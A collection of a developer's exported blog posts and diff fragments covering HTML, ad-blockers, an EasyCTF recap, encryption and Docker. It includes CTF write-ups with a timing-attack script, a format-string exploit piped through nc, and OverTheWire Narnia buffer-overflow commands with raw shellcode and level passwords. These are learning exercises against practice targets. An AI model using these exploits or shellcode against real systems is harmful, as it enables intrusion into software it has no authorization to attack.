class="markup--strong markup--li-strong">programming</strong>: Its when you tell a computer what to
do. For example, I can program a bot to respond to messages while Im away. Or I can program my phone to
wake up at 7:30 in the morning. Its all the same.</li>
<li name="2b5d" id="2b5d" class="graf graf--li graf-after--li"><strong
class="markup--strong markup--li-strong">language</strong>: A standard method of communication that is
accepted by both the speaker and the receiver. Except in this context, its not with humans but a
machine, so youre not really speaking.</li>
</ul>
<p name="832d" id="832d" class="graf graf--p graf-after--li">Following those definitions, a programming
language must be a method of communicating to the computers what you want it to do. These are rather loose
definitions that I came up with, but if you dont agree with that, you can stop reading now.</p>
<p name="ecc9" id="ecc9" class="graf graf--p graf-after--p">The primary purpose of HTML is to serve as a
method to display webpage data that is received from the server into a visual representation into your
browser. Thats just a fancy way of saying “you tell the browser where to put stuff”. Lets check if that
satisfies the above points:</p>
<ul class="postList">
<li name="d874" id="d874" class="graf graf--li graf-after--p">Youre telling the computer how to display
elements!</li>
<li name="2ae6" id="2ae6" class="graf graf--li graf-after--li">Youre using a system of communication that
both you and the computer understand.</li>
</ul>
<p name="fafb" id="fafb" class="graf graf--p graf-after--li">If you dont agree that the above two
demonstrate that HTML satisfies the requirements for a programming language that I laid out above, then
Id love to hear your thoughts.</p>
<p name="fbd3" id="fbd3" class="graf graf--p graf-after--p">So why are people so insistent that HTML is not
a programming language? Well, heres some of the reasons Ive seen so far.</p>
<ul class="postList">
<li name="7225" id="7225" class="graf graf--li graf--startsWithDoubleQuote graf-after--p">“You cant
perform arithmetic operations with HTML.” You cant perform arithmetic operations with HTML because
thats not what it was made for. thats like trying to use a hammer to screw in a screw. Doesnt make it
any less of a tool.</li>
<li name="4e0d" id="4e0d" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“It cant
process data.” Refer to the first point about arithmetic operations.</li>
<li name="3e94" id="3e94" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“It doesnt
produce executable code.” Why not? Lets say I put this line into an HTML file: <code
class="markup--code markup--li-code">&lt;br /&gt;</code>. Is it not telling the browser to create a
line break? Isnt that making it execute an instruction? Sure, you can say that the HTML isnt actually
creating the element, its the browser engine. But by that logic, no programming language actually
exists other than the binary data that the machine is executing, since thats whats really executing
all our code. If you dont put the elements in, the browser wont do anything, so HTML is giving the
browser instructions on what to do.</li>
<li name="537f" id="537f" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“Its not
Turing-complete.” Where did the requirement that programming languages had to be Turing-complete come
in? Just because your hammer isnt a Swiss army knife that can do everything, doesnt make it any less
of a tool.</li>
</ul>
<p name="28c1" id="28c1" class="graf graf--p graf-after--li graf--trailing">At the end of the day, this is
all just still my opinion. If you dont agree, please voice your opinions and convince me otherwise
(preferably using well-informed arguments)!</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/ccf34bd2758c"><time class="dt-published" datetime="2017-01-14T09:07:31.000Z">January
14, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/why-i-think-html-is-a-programming-language-ccf34bd2758c"
class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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---
title: So, you can detect whether I use an ad-blocker or not, eh?
date: 2017-02-16T03:07:43.893Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="fb3e" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="3093" id="3093" class="graf graf--p graf-after--h3">Guess its one less site Im going to be
wasting my time on now.</p>
<p name="55ab" id="55ab" class="graf graf--p graf-after--p">I know its an important part of making revenue
or whatever, but from the users standpoint, ads should be <em
class="markup--em markup--p-em">non-intrusive</em>. That means I should be able to do whatever I want on
the site without needing to bother looking at your advertisements.</p>
<p name="14a3" id="14a3" class="graf graf--p graf-after--p graf--trailing">Dont push advertisements into my
face. Promote good content that people want to see, and theyll automatically come back for more. Because
to be honest, I dont really care about your site enough to turn off my ad-blocker for it.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/3856335f209c"><time class="dt-published" datetime="2017-02-16T03:07:43.893Z">February
16, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/so-you-can-detect-whether-i-use-an-ad-blocker-or-not-eh-3856335f209c"
class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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---
title: EasyCTF 2017 Wrap-up
date: 2017-03-24T11:36:40.681Z
tags: [medium-blog]
---
EasyCTF just concluded this Monday!
Looking back on the competition, I'd say that this year was our best year ever.
Let's take a look at some of the stats.
- **5,837** users registered this year, playing on **2,742** teams.
Of those teams, **1,938** teams scored points.
- We had **63** challenges, which was close to our 68 last year.
- **10.7%** of all teams had 5 membersfull teams! In fact, there were more 5-member teams than there were 4-, 3-, and 2-member teams.
I'm really happy to see that so many people were willing to give us a week of their time to participate in our event and work through our challenges, despite the fact that we hadnt promised any prizes ahead of time.
I'd also like to give a shout-out to the entire dev team who helped monitor basically every point of contact that people had with us and creating amazing challenges.
## Improvements for next year
I still havent decided whether Ill be completely involved in organizing this event again next year.
I hope that Ill have some free time alongside my classes, but Id also like some more cooperation from the rest of the organizers.
The biggest problem we had this year was basically not working on anything until the week before the competition.
By that time, it was already too late. Lets take a closer look at what actually went wrong:
- **Lack of motivation.**
Im not sure people were actually busy during the entire year that we had planned to work, but there was definitely a lack of work put into organizing the competition.
We had some big ideas at the beginning of the year, but as time passed, the chances of those ideas becoming reality looked rather slim as no one wanted to be the first one to start working.
Somewhere in there I threw in a couple of deadlines, and we got a couple of problems written.
Had I not done that, I fear we would have had much fewer problems than we actually did.
- **No contact with sponsor companies.**
Contacting sponsors should have been one of the first things we did, since it takes a long time to sort out details and companies usually take at least two weeks to reply to emails anyway.
Towards the end, we did get an email from DigitalOcean saying they were willing to fund servers for our competition, but launch day came and we didnt hear back from them again.
- **No coordination.**
Some of the feedback Ive been hearing about this years competition is a shortage of actually “easy” problems.
We never really went through the competition and tried to lay out a “spectrum” of problems nor tackle it from the participants perspective.
Every problem was either just a “cool idea” someone had or “I feel like a CTF needs this.”
The intermediate web section was completely missing.
- **Unbalanced team.**
Our team comprised mainly of problem writers.
Thats great and all, but when it comes to things like contacting sponsor companies, writing the website, planning some kind of game, we basically have no resources to do those.
I spent my entire time developing OpenCTF, the platform that powered the competition, and I know for sure that was a task too large for me to handle.
Getting more web designers or people with other skills would have helped out a lot.
Ive also got a couple of points of reflection for prospective CTF organizers, so if youre planning to run a CTF, this is for you.
- **Participant experience takes first priority.**
A lot of organizers think the hardest part of running a CTF is getting good challenges.
And theyd be right.
But thats not to say that preparing a solid game infrastructure for flag submission is going to be something you can do last-minute.
When it comes to the participants experience, the first thing that they encounter is the website.
Then a few initial challenges.
Then probably the chat.
Make sure you have those down well and people will probably have a better initial impression of your CTF.
- **Some people are there to make you miserable.**
As the one in control, you need to account for those people.
Were lucky that we only had relatively few encounters with such people but do keep in mind that you are still running an event and that takes first priority.
During EasyCTF, there were a couple of people who thought it was funny to drop flags for hard challenges into the chat room.
When we tried to get them to stop, they would come back under different aliases in order to annoy us.
At that point we just shut down the entire chat room; the competition had to go on.
- **Ignore unconstructive negative feedback.**
Dont take it to heart, solve the problems, and move on.
Who cares if some random kid in IRC says your CTF is garbage?
Ask them what issues theyre having, fix them, and theyll be happy.
Its really not that complicated.
- **Docker.**
Is probably a good idea.
The learning curve is not bad and its a great way to create disposable containers that can restart easily.
Not only should you use Docker for your main competition website, you should also use it for all of the challenges that involve communicating with a server.
Heres something else I definitely have to share.
We had this autogen system that created different flags for different teams in order to discourage flag sharing.
Some people came up to us reporting that their flag wasnt working, when they clearly just took some other teams flag.
I didnt really do anything about it, but just thought it was pretty funny that they had the nerve to report it to us even though they were cheating.
So, whats the future for EasyCTF?
- Im seeing OpenCTF as a more permanent solution to our main platform.
Its a very complex piece of software and it would be insane to try to rewrite it from scratch.
Im in the process of creating an open-source version of it and making it customizable (for example, turning off features that you dont need like the programming judge) for CTF organizers.
- We had this project going on a while back for a CTF calendar that also hosted tasks.
I was also hoping that it would be able to replay entire competitions but that seems a bit too hopeful at this point.
It would be nice to just get the calendar revived.
- WeebCTF is happening again this summer, dates still yet to be decided.
If youre into anime (or even if youre not), come check it out!
- Applications for joining the organizing team for the next EasyCTF will open soon.
If there was something you didnt like about EasyCTF, and you think you could have done better, by all means, join the team!
Wed like to hear your ideas.
Thanks for reading, and I hope Ill be seeing you at the next CTF!
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/4bbd1ca68877"><time class="dt-published" datetime="2017-03-24T11:36:40.681Z">March
24, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/easyctf-2017-wrap-up-4bbd1ca68877" class="p-canonical">Canonical
link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>

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@ -0,0 +1,94 @@
---
title: VolgaCTF 2017 Writeups
date: 2017-03-26T21:52:31.553Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="0b53" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="e3cc" id="e3cc" class="graf graf--p graf-after--h3">I participated in VolgaCTF under the team Shell
Smash. We finished in 138th place with 600 points. Here are the write-ups for the problems that I did.</p>
<h3 name="bb61" id="bb61" class="graf graf--h3 graf-after--p">VC (50 points)</h3>
<p name="f5dc" id="f5dc" class="graf graf--p graf-after--h3">This was a pretty standard image analysis
problem. We are given two images that are relatively similar, except for a couple of bytes. If we just xor
the two images together, the flag appears in plain sight.</p>
<figure name="dee3" id="dee3" class="graf graf--figure graf--iframe graf-after--p">
<script src="https://gist.github.com/failedxyz/a7958fd7b5fff2c7b04de034cb9bc199.js"></script>
</figure>
<h3 name="1171" id="1171" class="graf graf--h3 graf-after--figure">PyCrypto (100 points)</h3>
<p name="3968" id="3968" class="graf graf--p graf-after--h3">We are given a Python file with an encrypt
function. Its using an encryption function from the <code
class="markup--code markup--p-code">pycryptography.so</code> library that was also given. By analyzing
the so, it looks like the encryption algorithm is simply an xor with the key, and if the key is shorter
than the message, then just repeat the key. This algorithm is known as a vigenère cipher, or repeating-key
xor cipher. Fortunately, I had some old code to crack this type of cipher exactly from cryptopals.</p>
<figure name="a89f" id="a89f" class="graf graf--figure graf--iframe graf-after--p">
<script src="https://gist.github.com/failedxyz/425c663e1cb56caa328a1e263ec1565e.js"></script>
</figure>
<h3 name="df11" id="df11" class="graf graf--h3 graf-after--figure">Angry Guessing Game (200 points)</h3>
<p name="9dc1" id="9dc1" class="graf graf--p graf-after--h3">The first step was to open this binary in IDA.
Its easy to get lost, because there are so many functions, so the first thing I did was hit Shift+F12 and
look at the strings. The one I was looking for, in particular, was “Youve entered the correct license
key!” If I found where this was called during execution, I could trace it back to the actual place where
it performs the check.</p>
<figure name="ca83" id="ca83" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="1*tOWToDf10V2YnUScoVAlhg.png" data-width="972" data-height="144"
src="https://cdn-images-1.medium.com/max/800/1*tOWToDf10V2YnUScoVAlhg.png">
<figcaption class="imageCaption">Using the strings to follow execution.</figcaption>
</figure>
<p name="4cd9" id="4cd9" class="graf graf--p graf-after--figure">Here you can see Ive found that sub_5F70
contains the code that checks whether youve already played 3 times, and tells the program to start asking
for a license key. Should it ask for a license key, it will redirect the execution to sub_6660, where it
actually prompts the user.</p>
<p name="990a" id="990a" class="graf graf--p graf-after--p">Im going to start from the bottom of sub_6660,
trying to follow what its returning, because ultimately the result of this function is either going to be
true/falsewhether it accepts your license key. Poking around, I found this call to an interesting
function: sub_67D0. Seems like its literally just checking your license key character by character.</p>
<figure name="e892" id="e892" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="1*m6YBCqASg66wa1I6IXlRtQ.png" data-width="484" data-height="776"
src="https://cdn-images-1.medium.com/max/800/1*m6YBCqASg66wa1I6IXlRtQ.png">
<figcaption class="imageCaption">The license key checker.</figcaption>
</figure>
<p name="ced2" id="ced2" class="graf graf--p graf-after--figure">I wonder what happens if you just convert
all of those values to ASCII?</p>
<figure name="fd19" id="fd19" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="1*KkjogeoBtk7d3Z-cslOu6w.png" data-width="667" data-height="785"
src="https://cdn-images-1.medium.com/max/800/1*KkjogeoBtk7d3Z-cslOu6w.png">
<figcaption class="imageCaption">The letters of the flag.</figcaption>
</figure>
<p name="780e" id="780e" class="graf graf--p graf-after--figure">Looks like our license key is the flag!</p>
<h3 name="25ef" id="25ef" class="graf graf--h3 graf-after--p">KeyPass (100 points)</h3>
<p name="ee4c" id="ee4c" class="graf graf--p graf-after--h3">I didnt actually finish this one during the
competition time, because I was being really stupid and not reading their hint. In this challenge, they
handed out an encrypted flag and a program that “generates secure encryption keys.”</p>
<p name="53fd" id="53fd" class="graf graf--p graf-after--p">Picking apart the binary, it looks like what the
program is doing is just generating a seed out of the passphrase that you give to it, by xoring every
character of your passphrase together. This was then used in an LCG to get “random” bytes out of a
dictionary of 82 bytes.</p>
<p name="4045" id="4045" class="graf graf--p graf-after--p">The problem with this method is, there a total
of about 128 values for this “seed,” because ASCII values range from 0 to 128, and since higher bits are
not involved, xor will never go out of that range either. So to solve the problem, you simply generate all
of the keys for seeds from 0 to 128. Ive reimplemented the key generation in Python here:</p>
<figure name="0cc9" id="0cc9" class="graf graf--figure graf--iframe graf-after--p">
<script src="https://gist.github.com/failedxyz/1cbc3a63152d095dca58f7b6d89a8b77.js"></script>
</figure>
<p name="acb2" id="acb2" class="graf graf--p graf-after--figure graf--trailing">So why couldnt I finish it?
Because when I was actually checking the key with <code
class="markup--code markup--p-code">openssl aes-128-cbc -d -in flag.zip.enc -out flag.zip -pass env:PASSWORD</code>,
I wasnt using the version of OpenSSL that they specified, version 1.1.0e. Lesson learned, I guess.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/632fa7821dca"><time class="dt-published" datetime="2017-03-26T21:52:31.553Z">March
26, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/volgactf-2017-writeups-632fa7821dca" class="p-canonical">Canonical
link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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@ -0,0 +1,117 @@
---
title: UIUCTF 2017 Writeups
date: 2017-05-01T00:09:47.978Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="edd2" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="dca1" id="dca1" class="graf graf--p graf-after--h3">I competed in UIUCTF this year with Aaron Cao.
We ended up placing 23rd with 1300 points. Here are some of the solutions to the challenges I solved.</p>
<h3 name="f21d" id="f21d" class="graf graf--h3 graf-after--p">High School Crypto (100 points, crypto)</h3>
<p name="5d6b" id="5d6b" class="graf graf--p graf-after--h3">In this challenge, we are basically given some
encrypted information, as well as the following encryption program.</p>
<pre name="d6b3" id="d6b3"
class="graf graf--pre graf-after--p">import sys, itertools<br>if(len(sys.argv) != 3):<br> print(&quot;Usage: [FILE] [KEY]&quot;)<br> exit(-1)<br><br>filename = sys.argv[1]<br>key = sys.argv[2]<br><br>with open(filename, &#39;rb&#39;) as plaintext:<br> raw = plaintext.read()<br> print(len(raw))<br> with open(filename + &#39;.out&#39;, &#39;wb&#39;) as ciphertext:<br> for l, r in zip(raw, itertools.cycle(key)):<br> ciphertext.write( (l ^ ord(r)).to_bytes(1, byteorder=&#39;big&#39;) )</pre>
<p name="2402" id="2402" class="graf graf--p graf-after--pre">Upon not-so-close inspection, it seems like
its just a repeated-xor cipher. Using code that I had written for Cryptopals Set 1, I decoded it quickly,
obtaining a long plaintext, containing the flag.</p>
<h3 name="1b1a" id="1b1a" class="graf graf--h3 graf-after--p">Thematic (100 points, recon)</h3>
<p name="318b" id="318b" class="graf graf--p graf-after--h3"><a
href="https://twitter.com/SwiftOnSecurity/status/858092845886046209"
data-href="https://twitter.com/SwiftOnSecurity/status/858092845886046209"
class="markup--anchor markup--p-anchor" rel="nofollow noopener"
target="_blank">https://twitter.com/SwiftOnSecurity/status/858092845886046209</a></p>
<h3 name="f8de" id="f8de" class="graf graf--h3 graf-after--p">Taylors Magical Flag Oracle (150 points,
reversing)</h3>
<p name="6c04" id="6c04" class="graf graf--p graf-after--h3">Were given a flag-checking service that seems
to be vulnerable to timing attack. In essence, heres what happens: the service checks our flag character
by character; if that character is the same, move on to the next, otherwise, just return false, since we
know that the string cant be equal anyway. But in this case, the program delays by 0.25a significant
amount!before moving on, to prevent brute force? apparently. But theres one huge flaw.</p>
<p name="939a" id="939a" class="graf graf--p graf-after--p">If you brute force all of the possibilities for
the <em class="markup--em markup--p-em">next character</em>, theres going to be a significant time gap
between returns if you submit the right character vs. if you submit the wrong one. Heres what it means:
say I know the flag starts with <code class="markup--code markup--p-code">flag{</code> , which I do. Upon
submitting <code class="markup--code markup--p-code">flag{</code>, I know its going to be delaying for at
least 5 * 0.25, which is 1.25 seconds. I dont know the 6th character yet, but theres only 2 things that
can happen:</p>
<ul class="postList">
<li name="69d8" id="69d8" class="graf graf--li graf-after--p">I get it wrong; the program returns
immediately because it doesnt hit the sleep, and my result is return in ~1.25 seconds, with a bit of
latency, but not enough to make it &gt;1.5 seconds.</li>
<li name="95b5" id="95b5" class="graf graf--li graf-after--li">I get it right; the program sleeps for 0.25
before moving on because the pass has checked.</li>
</ul>
<p name="2016" id="2016" class="graf graf--p graf-after--li">Hopefully the problem becomes obvious now. If I
check how long it takes me to get my result, Ill be able to “guess” the password character by character.
Knowing this, here is the script I used to get the flag:</p>
<pre name="f905" id="f905"
class="graf graf--pre graf-after--p">import socket<br>from functools import wraps<br>from time import time<br>from string import printable</pre>
<pre name="4d70" id="4d70"
class="graf graf--pre graf-after--pre">addr = (&quot;challenge.uiuc.tf&quot;, 11340)<br>s = socket.socket()<br>s.connect(addr)</pre>
<pre name="05be" id="05be"
class="graf graf--pre graf-after--pre">def stopwatch(f):<br> <a href="http://twitter.com/wraps" data-href="http://twitter.com/wraps" class="markup--anchor markup--pre-anchor" title="Twitter profile for @wraps" rel="noopener" target="_blank">@wraps</a>(f)<br> def wrapper(*args, **kwargs):<br> start = time()<br> result = f(*args, **kwargs)<br> end = time()<br> return end - start<br> return wrapper</pre>
<pre name="017f" id="017f"
class="graf graf--pre graf-after--pre"><a href="http://twitter.com/stopwatch" data-href="http://twitter.com/stopwatch" class="markup--anchor markup--pre-anchor" title="Twitter profile for @stopwatch" rel="noopener" target="_blank">@stopwatch</a><br>def test_flag(flag):<br> global s<br> s.send(flag + &quot;\n&quot;)<br> s.recv(20) # &gt;</pre>
<pre name="4624" id="4624"
class="graf graf--pre graf-after--pre">s.recv(20) # &gt;<br>known_flag = &quot;flag{&quot;<br>while True:<br> for c in printable:<br> benchmark = 0.25 * (len(known_flag) + 1)<br> actual = test_flag(known_flag + c)<br> print c, benchmark, actual<br> if actual &gt; benchmark:<br> known_flag += c<br> print known_flag<br> break</pre>
<h3 name="0dea" id="0dea" class="graf graf--h3 graf-after--pre">babyrsa (200 points, crypto)</h3>
<pre name="c0da" id="c0da"
class="graf graf--pre graf-after--h3">n = 826280450476795403105390383916395625701073920777162153138597185953056944510888027904354828464602421249363674719063026424044747076553321187265165775178889032794638105579799203345357910166892700405175658568627675449699540840288382597105404255643311670752496397923267416409538484199324051251779098290351314013642933189000153869540797043267546151497242578717464980825955180662199508957183411268811625401646070827084944007483568527240194185553478349118552388947992831458170444492412952312967110446929914832061366940165718329077289379496793520793044453012845571593091239615903167358140251268988719634075550032402744471298472559374963794796831888972573597223883502207025864412727194467531305956804869282127211781893423868568924921460804452906287133831167209340798856323714333552031073990953099946860260440120550744737264831895097569281340675979651355169393606387485601024283179141075124116079680183641040638005340147490312370291020282845417263785200481799143148652902589069064306494803532124234850362800892646823909347208346956741220877224626765444423081432186871792825772139369254830825377015531518313838382717867736340509229694011716101360463757629023320658921011843627332643744464724204771008866440681008984222122706436344770910544932757<br>e = 5<br>c = 199037898049081148054548566008626493558290050160287889209057083223407180156125399899465196611255722303390874101982934954388936179424024104549780651688160499201410108321518752502957346260593418668796624999582838387982430520095732090601546001755571395014548912727418182188910950322763678024849076083148030838828924108260083080562081253547377722180347372948445614953503124471116393560745613311509380885545728947236076476736881439654048388176520444109172092029548244462475513941506675855751026925250160078913809995564374674278235553349778352067191820570404315381746499936539482369231372882062307188454140330786512148310245052484671692280269741146507675933518321695623680547732771867757371698350343979932499637752314262246864787150534170586075473209768119198889190503283212208200005176410488476529948013610803040328568552414972234514746292014601094331465138374210925373263573292609023829742634966280579621843784216908520325876171463017051928049668240295956697023793952538148945070686999838223927548227156965116574566365108818752174755077045394837234760506722554542515056441166987424547451245495248956829984641868331576895415337336145024631773347254905002735757</pre>
<p name="2839" id="2839" class="graf graf--p graf-after--pre">Standard RSA challenge, were given N, e, and
c and were asked to find the original message… Its supposed to be a “baby” RSA challenge, so one thing
that came to mind was that m^e is actually <em class="markup--em markup--p-em">less</em> than N. I put the
ciphertext c into factordb.com, and it turned out that it was a perfect fifth power! (recall that e=5).
The problem became trivial at this point; to get the flag, simply convert the fifth root of c back into
ASCII.</p>
<h3 name="d90e" id="d90e" class="graf graf--h3 graf-after--p">goodluck (200 points, pwn)</h3>
<p name="6b0f" id="6b0f" class="graf graf--p graf-after--h3">This challenge was pretty straightforward; once
I opened it in IDA, I noticed that it was <code class="markup--code markup--p-code">printf</code>ing some
user-supplied input. I tried a bunch of values with the binary locally until I got the exploit string
<code class="markup--code markup--p-code">%9$s</code>, which prints the 9th string on the stack (which is
where <code class="markup--code markup--p-code">flag.txt</code> was read to).
</p>
<pre name="c548" id="c548"
class="graf graf--pre graf-after--p">michael@zhang:~$ echo “%9\$s” | nc challenge.uiuc.tf 11342 <br>whats the flag <br>You answered: <br>flag{always_give_110%} <br>But that was totally wrong lol get rekt</pre>
<h3 name="62c9" id="62c9" class="graf graf--h3 graf-after--pre">LSLolLog in, stay here (200 points,
reversing)</h3>
<p name="f237" id="f237" class="graf graf--p graf-after--h3">To be honest, I dont even know how I solved
this one. I think I created an account and just tried a bunch of random stuff until I was at the location
indicated in the <code class="markup--code markup--p-code">X-SecondLife-Local-Position</code> header in
the URL I was given.</p>
<h3 name="5f73" id="5f73" class="graf graf--h3 graf-after--p">snekquiz (200 points, pwn)</h3>
<p name="4ea6" id="4ea6" class="graf graf--p graf-after--h3">In this challenge, we arent given a binary,
just a server to connect to. So we kind of have to imagine how its programmed. The server asks us 3
questions, then reveals us the answers so we can get all 3 right the next time. But we need a score of 5
to get the flag!</p>
<p name="05bc" id="05bc" class="graf graf--p graf-after--p">I imagine that the score variable must be in the
local scope of whatever function is doing the input loop. If thats the case, we can definitely overwrite
it, since buffer length is not being checked. Apparently stack protector has been enabled so we wont be
able to write out of the stack frame, but that doesnt really matter since we arent even given a binary
to work with.</p>
<p name="e0ba" id="e0ba" class="graf graf--p graf-after--p">After trying a bunch of values, I got that 88
was the maximum number of <code class="markup--code markup--p-code">A</code>s I was allowed to send to the
server before I started writing over the canary. I got a message that looked like this:</p>
<pre name="d225" id="d225"
class="graf graf--pre graf-after--p">Score greater than 5 detected! You must be cheating with a score like 1094795585</pre>
<p name="0858" id="0858" class="graf graf--p graf-after--pre graf--trailing">(for reference, that number is
0x41414141). That means score is being scored in an int. This time, I sent <code
class="markup--code markup--p-code">\x05\x00\x00\x00</code> 22 times, hoping that it would overwrite the
score variable with the exact value of 5, and it did!</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/a53aabe1bc56"><time class="dt-published" datetime="2017-05-01T00:09:47.978Z">May 1,
2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/uiuctf-2017-writeups-a53aabe1bc56" class="p-canonical">Canonical
link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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@ -0,0 +1,41 @@
---
title: "OverTheWire: Narnia"
date: 2017-05-24T03:10:36.500Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="6f76" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<h3 name="1811" id="1811" class="graf graf--h3 graf-after--h3">Level 0: Simple Buffer Overflow</h3>
<p name="0218" id="0218" class="graf graf--p graf-after--h3">Were given a buffer of 20 characters and an
int. The program reads 24 characters from input, exactly overwriting the int. The exploit code:</p>
<pre name="47f8" id="47f8"
class="graf graf--pre graf-after--p">(python -c print “\xef\xbe\xad\xde” * 6; cat) | ./narnia0</pre>
<p name="b867" id="b867" class="graf graf--p graf-after--pre">The password for level 1 is <code
class="markup--code markup--p-code">efeidiedae</code>.</p>
<h3 name="59e6" id="59e6" class="graf graf--h3 graf-after--p">Level 1: Executing Shellcode</h3>
<p name="d660" id="d660" class="graf graf--p graf-after--h3">The program were given will execute anything
at the environment variable <code class="markup--code markup--p-code">EGG</code> as a function pointer; I
found some shellcode from google and it worked. The exploit code:</p>
<pre name="a253" id="a253"
class="graf graf--pre graf-after--p">EGG=$(printf “\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\x<br>ff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81”) bash -c ./narnia1</pre>
<p name="5af8" id="5af8" class="graf graf--p graf-after--pre">The password for level 2 is <code
class="markup--code markup--p-code">nairiepecu</code>.</p>
<p name="3a3b" id="3a3b" class="graf graf--p graf-after--p">Level 2</p>
<p name="ce56" id="ce56" class="graf graf--p graf-after--p graf--trailing">soon lol</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/a282ef43b705"><time class="dt-published" datetime="2017-05-24T03:10:36.500Z">May
24, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/overthewire-narnia-a282ef43b705" class="p-canonical">Canonical link</a>
</p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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@ -85,6 +85,6 @@ then calling something like `instance.verify()` should run all those validators
## Conclusion ## Conclusion
This project is a work in progress! You can see how far I am [on Github](https://github.com/iptq/wtforms). This project is a work in progress! You can see how far I am [on Github](https://github.com/mzhang28/wtforms).
[1]: https://docs.rs/serde [1]: https://docs.rs/serde

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@ -8,7 +8,9 @@ Today, many companies claim to provide "end-to-end encryption" of user data,
whether it be text messages, saved pictures, or important documents. But what whether it be text messages, saved pictures, or important documents. But what
does this actually mean for your data? I'll explain what "non-end-to-end" does this actually mean for your data? I'll explain what "non-end-to-end"
encryption is, why end-to-end encryption is important, and also when it might encryption is, why end-to-end encryption is important, and also when it might
be absolutely meaningless.<!--more--> be absolutely meaningless.
<!--more-->
> If you just want to read about end-to-end encryption, click [here][1]. > If you just want to read about end-to-end encryption, click [here][1].
> Otherwise, I'll start the story all the way back to how computers talk to > Otherwise, I'll start the story all the way back to how computers talk to
@ -89,7 +91,7 @@ then decrypts it offline. [Signal][signal] famously provides end-to-end
encrypted chat, so that no one, not even the government[^1], will be able to encrypted chat, so that no one, not even the government[^1], will be able to
read the messages you send if they're not the intended recipient. read the messages you send if they're not the intended recipient.
## It's still not enough {#not-enough} ## It's still not enough
End-to-end encryption seems like it should be the end of the story, but if End-to-end encryption seems like it should be the end of the story, but if
there's one thing that can undermine the encryption, it's the program that's there's one thing that can undermine the encryption, it's the program that's
@ -195,7 +197,7 @@ control.
[PKI][pki] infrastructure to solve this, which relies on a certificate chain [PKI][pki] infrastructure to solve this, which relies on a certificate chain
that is distributed by browser or operating system vendors. that is distributed by browser or operating system vendors.
[1]: {{< ref "#not-enough" >}} [1]: #its-still-not-enough
[csam]: https://www.apple.com/child-safety/pdf/CSAM_Detection_Technical_Summary.pdf [csam]: https://www.apple.com/child-safety/pdf/CSAM_Detection_Technical_Summary.pdf
[ferpa]: https://en.wikipedia.org/wiki/Family_Educational_Rights_and_Privacy_Act [ferpa]: https://en.wikipedia.org/wiki/Family_Educational_Rights_and_Privacy_Act

View file

@ -4,7 +4,7 @@ date: 2023-03-29
tags: ["docker", "linux"] tags: ["docker", "linux"]
--- ---
First (published) blog post of the year! :raising_hands: First (published) blog post of the year! :raised_hands:
Here is a rather dumb way of entering a Docker Compose container that didn't Here is a rather dumb way of entering a Docker Compose container that didn't
have a shell. In this specific case, I was trying to enter a Woodpecker CI have a shell. In this specific case, I was trying to enter a Woodpecker CI
@ -12,6 +12,7 @@ container without exiting it. Some Docker containers are incredibly stripped
down to optimize away bloat (which is good!) but this may make debugging them down to optimize away bloat (which is good!) but this may make debugging them
relatively annoying. relatively annoying.
> [!admonition: NOTE]
> These are my specific steps for running it, please replace the paths and > These are my specific steps for running it, please replace the paths and
> container names with the ones relevant to your specific use-case. > container names with the ones relevant to your specific use-case.

View file

@ -61,6 +61,7 @@ I shove new config files in their root directory.
 flake.nix ✗  flake.nix ✗
``` ```
> [!admonition: NOTE]
> The `✗` indicates that I added the file to the project, and it hasn't been > The `✗` indicates that I added the file to the project, and it hasn't been
